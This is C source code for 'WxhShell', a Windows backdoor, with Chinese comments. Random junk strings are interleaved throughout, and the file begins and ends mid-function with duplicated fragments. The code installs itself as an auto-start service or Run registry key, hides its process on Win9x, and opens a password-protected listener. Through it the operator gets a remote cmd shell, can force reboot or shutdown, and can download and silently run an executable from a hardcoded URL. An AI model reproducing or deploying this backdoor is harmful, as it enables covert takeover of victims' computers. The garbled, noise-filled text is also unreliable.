) tr9_bl&z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^&Rxui g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T$N08aju# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _QOOx+%*5 Ymk4Cu.s if (!NtQueryInformationProcess) return 0; <>5:u OV@h$fg hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G~iYF(:& if(!hProcess) return 0; q3pN/f;kr, r* /XB0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }T1Xds8w)t z7us*8X{ CloseHandle(hProcess); nm:let7GB {p lmFV hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q\/":ISq1 if(hProcess==NULL) return 0; V[M$o coP$7Q . HMODULE hMod; 3{#pd6e5 char procName[255]; ^6NABXL unsigned long cbNeeded; I?B,rT3h >.nt'BQ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C&s }m0R |uBot#K| CloseHandle(hProcess); O^="T^J KHs{/ if(strstr(procName,"services")) return 1; // 以服务启动 Mbi+Vv- ~bWWu`h return 0; // 注册表启动 Z$m2rZ# } vdFQf ^l V.a]IkK'K // 主模块 4Z
T int StartWxhshell(LPSTR lpCmdLine) '14l )1g. { (!&O4C5 SOCKET wsl; XX5(/# BOOL val=TRUE; +n.j.JP"X int port=0; 4[V6so 0 struct sockaddr_in door; *d,n2a#n5 ]v,y(yl if(wscfg.ws_autoins) Install(); ]!Aze^7; -Fw4;&> port=atoi(lpCmdLine); bHo?Rw!. RKJWLofX& if(port<=0) port=wscfg.ws_port; JjO/u>A3;7 @Q1F#IU WSADATA data; $O</akn; if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \,IDLXqp HgBEV if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qx<zX\qI6n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N+@@EOmH door.sin_family = AF_INET; nF[eb{GR` door.sin_addr.s_addr = inet_addr("127.0.0.1"); E_I6 door.sin_port = htons(port); yar IR| _2n/vF;I+_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cZK?kz_Y closesocket(wsl); n,'AFb4AF return 1; ="TOa"Zk } "BNmpP >_%g8T' if(listen(wsl,2) == INVALID_SOCKET) { P9cI{RI closesocket(wsl); z^GGJu%vjr return 1; {Ll8@'5 } x)sDf!d4bi Wxhshell(wsl); H&Lbdu~E WSACleanup(); W:( Usy :7;Iy u return 0; p{#7\+} d_|v=^; } ]{,=mOk ~hw4gdtS // 以NT服务方式启动 uH;^>`DT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vlKKPS { Uz8C!L ">C DWORD status = 0; Vm8_
!$F DWORD specificError = 0xfffffff; <YNPhu~5 o;-!?uJ serviceStatus.dwServiceType = SERVICE_WIN32; ]mU*Y:< serviceStatus.dwCurrentState = SERVICE_START_PENDING; L=Jk"qWV0 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dz.MH serviceStatus.dwWin32ExitCode = 0; 9-<V%eNX serviceStatus.dwServiceSpecificExitCode = 0; lVBy&f serviceStatus.dwCheckPoint = 0; rTiuQdvo serviceStatus.dwWaitHint = 0; J#;m)5[ a% <6@NgSFz' hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oua/NF) if (hServiceStatusHandle==0) return; jM@I"JZb 2"K~:Tm#w status = GetLastError(); !g:G{b if (status!=NO_ERROR) ?\$/#zak { (c7{dYV serviceStatus.dwCurrentState = SERVICE_STOPPED; VrL>0d&d serviceStatus.dwCheckPoint = 0; g/Nj|:3 serviceStatus.dwWaitHint = 0; 5DBd
[u3 serviceStatus.dwWin32ExitCode = status; J_Xf:Mz- serviceStatus.dwServiceSpecificExitCode = specificError; T:n^$RiT SetServiceStatus(hServiceStatusHandle, &serviceStatus); #IJKMSGw?E return; cG"<*Xi < } s-DL=MD vK>^#b3 serviceStatus.dwCurrentState = SERVICE_RUNNING; ]
:#IZ0# serviceStatus.dwCheckPoint = 0; Mj;'vm7#' serviceStatus.dwWaitHint = 0; G7{:d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?S7:KnU>K } ;rdLYmmx^
]lG\t'R // 处理NT服务事件,比如:启动、停止 &otgN<H9 VOID WINAPI NTServiceHandler(DWORD fdwControl) i 58CA? { Yx/~8K_%M? switch(fdwControl) .`=PE&xq { JEkVj']? case SERVICE_CONTROL_STOP: 9r*T3=u.S serviceStatus.dwWin32ExitCode = 0; D[y|y3F serviceStatus.dwCurrentState = SERVICE_STOPPED; 3&2q\]Y, serviceStatus.dwCheckPoint = 0; P@?'@.e serviceStatus.dwWaitHint = 0; } dlNMW { ?uBC{KQ}Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Bu5kBC } };sm8P{M return; ~"B[6^sW case SERVICE_CONTROL_PAUSE: s*WfRY*=V serviceStatus.dwCurrentState = SERVICE_PAUSED; /T(~T break; k&;L(D case SERVICE_CONTROL_CONTINUE: xfSvvCy serviceStatus.dwCurrentState = SERVICE_RUNNING; }
~bOP^' break; ar}759 case SERVICE_CONTROL_INTERROGATE: -"L6^IH7 break; &y?B&4|hM }; 8TvPCZ$x SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~PAn
_]Z } A84HaRlkF5 b=l}|)a // 标准应用程序主函数 VX%\_@ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /L Tyiiz6 { 6K0*?j{;" jO.E#Ei}~ // 获取操作系统版本 Q;M\P/f OsIsNt=GetOsVer(); e.H"!X!0#H GetModuleFileName(NULL,ExeFile,MAX_PATH); Xy<KvFy xKux5u_ // 从命令行安装 DF =.G1 if(strpbrk(lpCmdLine,"iI")) Install(); W=w@SO_?wp ylJlICK // 下载执行文件 L
*@>/N if(wscfg.ws_downexe) { Cu7iHh Y5 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5xKR
]u WinExec(wscfg.ws_filenam,SW_HIDE); Yl=
|P` } y}`%I&]n !7D S if(!OsIsNt) { nQ6'yd" // 如果时win9x,隐藏进程并且设置为注册表启动 ugP R)tDfM HideProc(); ?A>-_B StartWxhshell(lpCmdLine); *k$&Hcr$ } i9"1 else 3!x)LUWfWY if(StartFromService()) )9->]U@ // 以服务方式启动 de=T7,G# StartServiceCtrlDispatcher(DispatchTable); LlqhZetS else .&dcJh*O+ // 普通方式启动 fok#D>q StartWxhshell(lpCmdLine); -nSqB{s!SD >6q@Tr return 0; 2S/ 7f: } {BU,kjv1g D bJ(N h 35T7g65; 7h~M&\M =========================================== VPbNLi 2XpGgG`2`C &jcr7{cD x.RZ!V- yAe}O#dy 'l;|t"R12 " @pz2}Hd| &I= q% #include <stdio.h> )M~5F,) #include <string.h> ?`$4ZDM #include <windows.h> |Gi/=[Tp #include <winsock2.h> 7;{F"/A #include <winsvc.h> gy.;
"W #include <urlmon.h> 7Jk.U=vY {`> x"Y5 #pragma comment (lib, "Ws2_32.lib") _6(=0::x #pragma comment (lib, "urlmon.lib") -6\9B>qa k,,}N9 #define MAX_USER 100 // 最大客户端连接数 xuF_^ #define BUF_SOCK 200 // sock buffer %LyB~X #define KEY_BUFF 255 // 输入 buffer V
ALYA=w/ [<hiOB #define REBOOT 0 // 重启 ^M"g5+q #define SHUTDOWN 1 // 关机 RP$A"<goP Q@R8qc=* #define DEF_PORT 5000 // 监听端口 (%1*<6ka *:(t.iL #define REG_LEN 16 // 注册表键长度 $fKWB5p|() #define SVC_LEN 80 // NT服务名长度 Y/gCtSF 2S3F]fG0 // 从dll定义API B!0[LlF+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y\x<!_&D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Cpl)byb typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uJizR
F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nYY U j#,O,\ // wxhshell配置信息 _"=~aMXC.) struct WSCFG { "$_ypgRrSR int ws_port; // 监听端口 H b.oKo$T char ws_passstr[REG_LEN]; // 口令 bmLNR int ws_autoins; // 安装标记, 1=yes 0=no A|^?.uIM char ws_regname[REG_LEN]; // 注册表键名 9z#IdY$a char ws_svcname[REG_LEN]; // 服务名 0Sk{P>A char ws_svcdisp[SVC_LEN]; // 服务显示名 Sl1N V char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lfor0-j char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \c)XN<HH int ws_downexe; // 下载执行标记, 1=yes 0=no `S|gfJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KH-.Z0
2U char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SWt"QqBU +;T%7j"wz }; Z:}^fZP 4(NI-|q0 // default Wxhshell configuration yd k struct WSCFG wscfg={DEF_PORT, @gd-lcMYW "xuhuanlingzhe", 4'M#m|V 1, A<&9 "Wxhshell", h!MT5B)r. "Wxhshell", ETtR*5Y 5 "WxhShell Service", =S,^"D\Z: "Wrsky Windows CmdShell Service", |zf||ju "Please Input Your Password: ", Z6I!4K 1, H={,zZ11{ "http://www.wrsky.com/wxhshell.exe", *T3"U|0_ y "Wxhshell.exe" {221@ zcCq }; ^,3 >}PU f'
eKX7R // 消息定义模块 Oe?nX> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Uq'eZol char *msg_ws_prompt="\n\r? for help\n\r#>"; R9HRbVBJf char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "3K0 wR5 char *msg_ws_ext="\n\rExit."; >z2{D7 char *msg_ws_end="\n\rQuit."; -v:Y\=[\ char *msg_ws_boot="\n\rReboot..."; ${?Px
c{- char *msg_ws_poff="\n\rShutdown..."; qQb8K+ t char *msg_ws_down="\n\rSave to "; ,F1$Of/'@\ ,xiRP$hGhh char *msg_ws_err="\n\rErr!"; wFe</U-'; char *msg_ws_ok="\n\rOK!"; C9fJLCufC 3jQ
|C= char ExeFile[MAX_PATH]; I^o^@C int nUser = 0; 975KRnj HANDLE handles[MAX_USER]; rpvm].4 int OsIsNt; L:31toGK _T1e##Sq, SERVICE_STATUS serviceStatus; w v1R
]3} SERVICE_STATUS_HANDLE hServiceStatusHandle; Sdn]
f4 ."2V:;; // 函数声明 .]"
o-(gB int Install(void); )}EwEM int Uninstall(void); 87-oR}/r int DownloadFile(char *sURL, SOCKET wsh); Y=5hm int Boot(int flag); zw0p} void HideProc(void); ka (xU#; int GetOsVer(void); 3cnsJV] int Wxhshell(SOCKET wsl); Y{jhT^tKK void TalkWithClient(void *cs); N.fIg int CmdShell(SOCKET sock); uaS?y1:c int StartFromService(void); V{8mx70 int StartWxhshell(LPSTR lpCmdLine); V/03m3!q >uVG] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F$caKWzny5 VOID WINAPI NTServiceHandler( DWORD fdwControl ); !({[^[! WA<~M)rb // 数据结构和表定义 4)`{ L$ SERVICE_TABLE_ENTRY DispatchTable[] = Aam2Y,B { v>,XJ 7P {wscfg.ws_svcname, NTServiceMain}, G#csN&|, {NULL, NULL}
! _QU- }; 6K,AQ.=V2 )t|M)z J // 自我安装 ].$N@tC int Install(void) MQI6e". { //`X+[bMG char svExeFile[MAX_PATH]; ~ >6(@~6 HKEY key; !#'*@a strcpy(svExeFile,ExeFile); 6(eyUgnb CzwnmSv{. // 如果是win9x系统,修改注册表设为自启动 H7uW|'XWz if(!OsIsNt) { +UB. M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KjhOz%Yt[o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S -im
o RegCloseKey(key); H:CwUFL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,i'>+Ix< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?O28Q DUI RegCloseKey(key); kw!! 5U;7 return 0; V%"aU}
} }^=J] } (*#S%4(YX } #
TvY*D, else { 0Rj_l:d= d!>PqPo // 如果是NT以上系统,安装为系统服务 lLnD%*03 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -&+[/ if (schSCManager!=0) VLR W,lR9O { Wu:evaZ:i SC_HANDLE schService = CreateService `CRW2^g ( {`{U\w5Af schSCManager, R+P1 +5 wscfg.ws_svcname, `}1 8A.K wscfg.ws_svcdisp, C}7Sh6 SERVICE_ALL_ACCESS, JVN0];IL} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xgfK0-T|[ SERVICE_AUTO_START, Z/O5Dear/h SERVICE_ERROR_NORMAL, 9OX&;O+5 svExeFile, O}2;>eH NULL, UZqr6A(/H NULL, y<kW2<? NULL, @<h@d_8^k NULL, H>2)R7h NULL \\6/" ); PKmr5FB if (schService!=0) mkgDg y { 6?r}bs6Msx CloseServiceHandle(schService); w?Y;pc}1B CloseServiceHandle(schSCManager); @2V#bK strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L_Z>*s& strcat(svExeFile,wscfg.ws_svcname); q5Z]Z.%3O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]5wc8Kh" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G8j$&1`: RegCloseKey(key); H|5\c= return 0; Gq?JMq# } VTS8IXz } x:G uqE CloseServiceHandle(schSCManager); qEE
V& } NU O9, } /alJN`g i,ga2{GnM return 1; Ub3^Js!b% } IvO#tI Tw8$6KUW // 自我卸载 g6MK~JG$?h int Uninstall(void) )ui]vS:> { 4 1q|R[js! HKEY key; Y$ZZ0m oUoDj'JN{ if(!OsIsNt) { -uX): h! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :A"GOc, RegDeleteValue(key,wscfg.ws_regname); 4;=+qb RegCloseKey(key); ]sB-}n) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |bDUekjR RegDeleteValue(key,wscfg.ws_regname); E{*d`n RegCloseKey(key); _ ZMoPEW return 0; Q3T@=z2j% } e-Mei7{% } ^-Bx zOp } =)!sWY: else { DgW*Br8< Y'H|Tk^` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); r1ao=N if (schSCManager!=0) 2M@,g8O+B= { ~qT5F)$B- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b"iPuN!p if (schService!=0) ;<hLy(@ { <*oTVl4fS if(DeleteService(schService)!=0) { lk;4l Z CloseServiceHandle(schService); m7!Mstu CloseServiceHandle(schSCManager); HHzAmHt return 0; 6fY-DqF! } @Jr:+|v3B CloseServiceHandle(schService); MfNsor } SJ8Ax_9{q CloseServiceHandle(schSCManager); ~Z-o2+xA } "n'kv!?\ } )B)ecJJ_ X;'H@GU0 return 1; db#svj* } m) QV2n #g=7fu{n: // 从指定url下载文件 bf@H(gCW= int DownloadFile(char *sURL, SOCKET wsh) B63puX{u# { 0 7b=Zhh HRESULT hr; "RcNy~ char seps[]= "/"; i24t$7q char *token; eCFMWFhC char *file; maTQ0GX char myURL[MAX_PATH]; 4 ))Z Bq? char myFILE[MAX_PATH]; ;S0Kf{DN2 JCFiKt9n strcpy(myURL,sURL); Dk%+|c token=strtok(myURL,seps); }l"pxp1K while(token!=NULL) Ui|z#{8& { }ff+RGxLIG file=token; A1g.ww: token=strtok(NULL,seps); Opavno%& } ?`hA :X< M47t(9krV GetCurrentDirectory(MAX_PATH,myFILE); Zo`_vx/{j strcat(myFILE, "\\"); ]sLdz^E3D strcat(myFILE, file); pT|l "q@ send(wsh,myFILE,strlen(myFILE),0); *\gYs{, send(wsh,"...",3,0); +cWo^ d. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g|TWoRx: if(hr==S_OK) 3Zdwt\OQ return 0; QlE]OAdB42 else O#MaZ.= return 1; N1iP!m9Q )5Wt(p:T6_ } &$yxAqdab m941 Y // 系统电源模块 vB<9M-sa0 int Boot(int flag) {:]u 6l { \Vb|bw'e( HANDLE hToken; V9Pw\K!w#\ TOKEN_PRIVILEGES tkp; P"[\p|[U o wviIZFe if(OsIsNt) { X{Ij30Bmv OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DrK@y8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n{$! ]^> tkp.PrivilegeCount = 1; A3^_'K tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L.2!Q3& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^|%u%UR if(flag==REBOOT) { 3!M|Sf<s if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'C7$,H' return 0; eHb@qKnf } twMDEw#VL else { u+
b `aB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z\r?>2 return 0; zb3,2D+P } i"#pk"@` } Yz)+UF, else { 4OeH}@ a if(flag==REBOOT) { $+|.
@ss if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E5q t~:C| return 0; NK\0X5##. } i&^]qL|J else { AO]k*N,N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w?V;ItcL return 0; Fe1XczB } !?)aZ |r } 2q4-9vu >N~orSw% return 1; s~06%QEG } `{%ImXQF &G!~@\tMg // win9x进程隐藏模块 #(}'G* void HideProc(void) oP~%7Jt { 5[LDG/{Tys BdB9M8fM HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6<fcG if ( hKernel != NULL ) \1sWmN6 { h0] bIT{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \
[bJ@f*." ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mWF\h>]|. FreeLibrary(hKernel); {8 # } |G)P
I`BH ;b}cn!U] return; (3WK2IM^ } Ji.FG"h+2 NvvD~Bb // 获取操作系统版本 ;#L]7ZY9:- int GetOsVer(void) .Zc:$"gDu { D@ %!|: OSVERSIONINFO winfo; 5(thDZ ! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QtA@p GetVersionEx(&winfo); MxOIe|=& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &z05h<] return 1; N :OLN[ else Q!5W x return 0; uuQsK. S } _
h/:r1 E~c>j<'-"< // 客户端句柄模块 WMS~Bk+! int Wxhshell(SOCKET wsl) %GP`H/H( { !?" pnKb} SOCKET wsh; [e>2HIS, struct sockaddr_in client; Ap~6Vu DWORD myID; 9*P-k.Bl WDI3* while(nUser<MAX_USER) FqZD'Uu7 { v6H!.0 int nSize=sizeof(client); XMzQ8|] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P{HR='2 if(wsh==INVALID_SOCKET) return 1; JkI|Ojmm/ hcpe~spz9| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .pG`/[*a if(handles[nUser]==0) 558!?kx$ closesocket(wsh); sf
O{.#5< else ]E.\ |I( nUser++; {Y3:Y+2X3* } k*OHI/uiow WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >`^;h]Q Wj8WT)cB return 0; ]@m`bs_6 } #\ECQF 7Y)i>[u3 // 关闭 socket 2UopGxrPKw void CloseIt(SOCKET wsh) =3nA5'UZ { vR
(nd closesocket(wsh); vuZ'Wo:S{ nUser--; W6RjQ1 ExitThread(0); {8 &=t8,c } dkW7k^g pgW^hj\ // 客户端请求句柄 %jJIR88 void TalkWithClient(void *cs) Q9c*I,Oj { N/[!$B0H@ nbW.x7 SOCKET wsh=(SOCKET)cs; WHqw=!G char pwd[SVC_LEN]; ps^["3e char cmd[KEY_BUFF]; *uSlp_;kB char chr[1]; ZENblh8fs int i,j; +Ht(_+To1 _;R#B`9Iu while (nUser < MAX_USER) { TrNh,5+b a]J>2A@-I if(wscfg.ws_passstr) { l
GJ N;G7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h7 mk< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'J)9# //ZeroMemory(pwd,KEY_BUFF); ;I6C`N i=0; #%pY,AK:= while(i<SVC_LEN) { E2tUL# ]K+8f- // 设置超时 R2Lq??XA= fd_set FdRead; % .wx]:o struct timeval TimeOut; )LNKJe+ FD_ZERO(&FdRead); %q.5;L FD_SET(wsh,&FdRead); |[p]])
o TimeOut.tv_sec=8; A8k $.E TimeOut.tv_usec=0; k@pEs# a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t*fH&8( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3EH@tlTl qW /&. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {].]`#4Jx pwd=chr[0]; bN|1%[7 if(chr[0]==0xd || chr[0]==0xa) { (=j/"Mb pwd=0; v?}rA %so break; ;&!QN#_ } 0b<Qs88yd> i++; F0"("4h: } a'?LC)^ UR(i_T&w // 如果是非法用户,关闭 socket t0za%q!fK< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <dAxB$16sT } 7+Nl)d:CJ EWq
< B) send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wKoar send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :H#D4O8UiH >[~`rOU*|Y while(1) { ztAC3,r] BqpJvRJd ZeroMemory(cmd,KEY_BUFF); lanU)+U. I}|E_U1Qj // 自动支持客户端 telnet标准 9ph>4u(R j=0; We*uZ?+ while(j<KEY_BUFF) { $@w,9J\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^E)8Sb9t cmd[j]=chr[0]; Galh _;= if(chr[0]==0xa || chr[0]==0xd) { oTr,zRL cmd[j]=0; e.Q'l/g break; ;iQw2XhT } y-S23B( j++; /XNC^!z6Js } -S&d5(R Zqv // 下载文件 yTNHM_P if(strstr(cmd,"http://")) { B,` `2\B send(wsh,msg_ws_down,strlen(msg_ws_down),0); N7GZ'-t^Er if(DownloadFile(cmd,wsh)) HdTB[( send(wsh,msg_ws_err,strlen(msg_ws_err),0); b8[
ayy else sxdDI?W4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Q,Dzv"7 } K,+z^{Hvh else { 4F<was/ ScQ9p379 switch(cmd[0]) { X_)I"` ) r"7" i // 帮助 W}|k!_/ case '?': { :.f(}sCS send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ezhfKt]j break; |x=(}g } ,#9i=gp // 安装 +i}uRO case 'i': { MlLM
$Y-@ if(Install()) ,Ww.W'#P send(wsh,msg_ws_err,strlen(msg_ws_err),0); bIzBY+P else &'/bnN +R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wzcv[C-x break; : H]MMe } LG{50sP` // 卸载 $O fZp<M case 'r': { z~i>GN_ if(Uninstall()) .4Mc4' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0LTsWCUQ6e else a=sd&](_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "|N0oEG& break; U.=TjCW } U} Pr1 // 显示 wxhshell 所在路径 B7S)L#l_\ case 'p': { bU}l*" char svExeFile[MAX_PATH]; iszVM strcpy(svExeFile,"\n\r"); S2 P9C" strcat(svExeFile,ExeFile); LaL{
^wP send(wsh,svExeFile,strlen(svExeFile),0); rKTc6h:) break; y>cT{ )E$ } X|4Kdi.r@ // 重启 B->oTC`5 case 'b': { ]<9o>#3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kLXa1^Lq if(Boot(REBOOT)) j9}.U \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); @udc/J$ else { +S1h~@c:B closesocket(wsh); m6@;!*Y ExitThread(0); \ >#y*W< } Z4{N|h? break; ^e80S^ } j#l1KO^y // 关机 fF5\\_, case 'd': { &Gm3 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K]^Jl0 if(Boot(SHUTDOWN)) XAB/S8 e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7{V N27Fa_ else { _Om5wp=: closesocket(wsh); P`
Gb}]rW ExitThread(0); 0OnqKgf } }_Y\6fcd break; a,:Nlr3 } Sg(\+j= // 获取shell _+Uf5,.5yU case 's': { eMP0BS" CmdShell(wsh); Bi0&F1ZC! closesocket(wsh); qy-Hv6oof ExitThread(0); LX(`@-<DH break; 20M]gw] } aq9Ej]1b // 退出 kZc Ge* case 'x': { N0YJ'.=8, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); awLSY:JI CloseIt(wsh); GwG(?_I" break; u~Y+YzCxV } V9;IH<s: // 离开 Vp8!-[R case 'q': { j k])S~xl? send(wsh,msg_ws_end,strlen(msg_ws_end),0); ph3dm\U. closesocket(wsh); w3Dqpo8E WSACleanup(); 0{stIgB$ exit(1); g&/r =U break; -(E-yCu } Q.fD3g } +X>Aj=# } HzZX=c WaiM\h?=# // 提示信息 ciN*gwI) if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ko~e*31_E } JNI&]3[C>? } G.^^zmsM` Qqp= return; j^Ln\N]^ } iUS?xKN$~- F[X;A\ // shell模块句柄
G%%5lw!y' int CmdShell(SOCKET sock) c}2"X, { )2F%^<gZ# STARTUPINFO si; hM8FN ZeroMemory(&si,sizeof(si)); HZ89x|Hk_ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZRUI';5x si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pj7MR/AH PROCESS_INFORMATION ProcessInfo; D)eRk0iC char cmdline[]="cmd"; #
tU@\H5kN CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ` yM9XjEl> return 0; sb%l N } ka:wD?>1i v2>Dn=V // 自身启动模式 l YjPrA]TC int StartFromService(void) KwxJ{$|xH { )u307Lg typedef struct +4k4z:<n { ?T>N vKF DWORD ExitStatus; }G<A$*L1 DWORD PebBaseAddress; T>v`UN Bl] DWORD AffinityMask; }vW3<|z DWORD BasePriority; (y2P." ULONG UniqueProcessId; ::Pf\Lb> ULONG InheritedFromUniqueProcessId; sP%J`L@h } PROCESS_BASIC_INFORMATION; eS2VLVxu wOR#sp& PROCNTQSIP NtQueryInformationProcess; FNXVd/{M3 pF:C static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kxsj_^&|i static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J 77*Ue^ Bh6lK}9 HANDLE hProcess; v3]~*\!5 PROCESS_BASIC_INFORMATION pbi; eie u|_ 3\5I4#S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }ct*<zj[~u if(NULL == hInst ) return 0; XKbTjR n:%A4* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d)v!U+-|' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >V@,K z1 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w%kaM= %&4\'lE if (!NtQueryInformationProcess) return 0; Xgo`XsA }Q{4G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *G,r:Bnb if(!hProcess) return 0; o%v,6yv `Ro>?H if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |d_ rK2 l4q7,%G CloseHandle(hProcess); [Mlmn$it uF]+i^+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T`) uR*$ if(hProcess==NULL) return 0; xf8.PqVNo E>qe hs,g HMODULE hMod; &sS]h|2Z5 char procName[255]; Y\{lQMCy unsigned long cbNeeded; 76S>xnN rXnG"A 